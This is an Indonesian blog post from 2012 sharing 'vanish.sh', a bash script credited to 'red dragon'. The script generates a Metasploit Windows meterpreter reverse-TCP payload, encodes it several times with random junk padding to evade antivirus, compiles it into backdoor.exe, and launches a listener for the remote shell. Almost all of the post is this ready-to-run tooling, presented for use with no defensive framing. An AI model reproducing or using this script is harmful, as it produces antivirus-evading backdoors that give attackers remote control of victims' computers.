Rabu, 18 Januari 2012

vanish.sh

inilah script dari vanish.sh yag di kasih ma om red dragon
===========***********============
#!/bin/bash
# check if file exist that is msfpayload, msfcli etc...
echo "Script ini akan membantu anda dalam membuat backdoor meterpreter dengan payload windows/meterpreter/reverse_tcp"
echo "Dan melakukan encoding backdoor dengan msfencode"
echo "Script ini membantu payload kita untuk melewati antivirus. Tingkat keberhasilan mencapai 80%"
echo "Tested by: red-dragon 15 Desember 2011"
echo ""
echo "Stack: 90909090990909090990909090"
echo "       90909090990909090990909090"
echo "       90909090.90909090.90909090"
echo "       90909090.90909090.90909090"
echo "       90909090.90909090.09090900"
echo "       90909090.90909090.09090900"
echo ""
echo "       .........................."
echo ""
echo "       cccccccccccccccccccccccccc"
echo "       cccccccccccccccccccccccccc"
echo "       ccccccccc................."
echo "       cccccccccccccccccccccccccc"
echo "       cccccccccccccccccccccccccc"
echo "       .................ccccccccc"
echo "       cccccccccccccccccccccccccc"
echo "       cccccccccccccccccccccccccc"
echo ""
echo "       .........................."
echo ""
echo "       ffffffffffffffffffffffffff"
echo "       ffffffff.................."
echo "       ffffffffffffffffffffffffff"
echo "       ffffffff.................."
echo "       ffffffff.................."
echo "       ffffffff.................."

# run as root
if [ "$(id -u)" != "0" ]; then
   echo "Script ini harus dijalankan oleh root!" 1>&2
   exit 1
fi
ping localhost -c 5 >nul

# Giving Fresh new start so removing old junk
rm -rf seclabs
# if  builtin type -p i686-w64-mingw32-gcc > /dev/null ; then
# else echo "Please install by Command: apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils"
# echo "exiting.....";  exit
# fi
echo "Pilih network device yang anda inginkan :"
cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
echo -e "Interface apa yang ingin anda gunakan?  \c"
echo "wlan0 untuk Wireless Network (Back|Track)"
echo "eth0 untuk wired connection"
echo "eth1 untuk wireless connection (Ubuntu)"
read interface
echo -e "Tentukan port listener yang ingin anda gunakan: \c"
read port
echo -e "Masukan nomer seed yang anda inginkan 1-10000, semakin besar nomer yang anda masukan, semakin besar ukuran backdoor yang akan dibuat : \c \n"
echo ""
echo "Saran red-dragon: Masukan nilai sebesar 7000"
read seed
echo -e "Berapa banyak anda ingin meng-encode backdoor anda? 1-20 : \c \n"
echo ""
echo "Saran red-dragon: Masukan nilai sebesar 14"
read enumber
# Get OS name
OS=`uname`
IO="" # store IP
case $OS in
   Linux) IP=`ifconfig $interface  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;;
   *) IP="Unknown";;
esac
echo "IP address anda: $IP"
echo "Membuat payload... Mohon tunggu..."
echo "Memilih payload windows/meterpreter/reverse_tcp"
echo "Menggunakan encoder x86/shikata_ga_nai x86/jmp_call_additive dan x86/call4_dword_xor"
echo "Mohon tunggu..."
ping localhost -c 5 >nul
echo ""
echo "Mengeksekusi perintah ./msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=port EXITFUNC=none R | ./msfencode -e x86/shikata_ga_nai -c  -t raw | ./msfencode -e x86/jmp_call_additive -c  -t raw | ./msfencode -e x86/call4_dword_xor -c -t raw |  ./msfencode -e x86/shikata_ga_nai -c > test.c"
echo ""
./msfpayload windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port EXITFUNC=thread R | ./msfencode -e x86/shikata_ga_nai -c $enumber -t raw | ./msfencode -e x86/jmp_call_additive -c $enumber -t raw | ./msfencode -e x86/call4_dword_xor -c $enumber -t raw |  ./msfencode -e x86/shikata_ga_nai -c $enumber > test.c
echo "Membuat direktori seclabs..."
echo ""
mkdir seclabs
mv test.c seclabs
cd seclabs
#Replacing plus signs at the end of line
echo "Memproses payload anda... Kami akan melakukan encoding untuk dapat melewati antivirus anda. Ini mungkin berlangsung lama..."
echo ""
echo "Mohon tunggu"
echo ""
echo "..."
sed -e 's/+/ /g' test.c > clean.c
sed -e 's/buf = /unsigned char micro[]=/g' clean.c > ready.c
echo "#include <stdio.h>" >> temp
echo 'unsigned char ufs[]=' >> temp
for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
sed -i 's/$/"/' temp2
sed -i 's/^/"/' temp2 
echo  ';' >> temp2 
cat temp2 >> temp
cat ready.c >> temp
mv temp ready2.c
echo ";" >> ready2.c
echo "int main(void) { ((void (*)())micro)();}" >> ready2.c 
mv ready2.c final.c
echo 'unsigned char tap[]=' > temp3
for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
sed -i 's/$/"/' temp4
sed -i 's/^/"/' temp4
echo  ';' >> temp4
cat temp4 >> temp3
cat temp3 >> final.c 
#Cleanup of junk useless files :P
echo "clean up junk file dan file yang tidak digunakan kembali..."
rm -f clean.c
rm -f test.c
rm -f ready.c
rm -f rand.c
rm -f temp2
rm -f temp3
rm -f temp4
rm -f nul

echo ""
echo "Melakukan compile payload anda..."
echo ""
# compiling..
/usr/bin/i586-mingw32msvc-gcc -Wall ./final.c -o ./final.exe > /dev/null 2>&1
mv final.exe backdoor.exe
filex=`ls -ct1 | head -1`
sumx=`sha1sum $filex`
echo $filex "...melakukan refresh pada seclabs folder dan subfolder"
echo ""
echo $filex "sha1checksum.." $sumx
echo ""
echo "Payload anda disimpan pada folder seclabs dengan nama backdoor.exe"
echo ""
strip --strip-debug $filex
cd ..
echo "Menjalankan metasploit interpreter listener..."
echo ""
sleep 2
ping localhost -c 5 >nul
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E

============**********=============


sumber : red dragon

vanish.sh Rating: 4.5 Diposkan Oleh: r007-

0 komentar:

Posting Komentar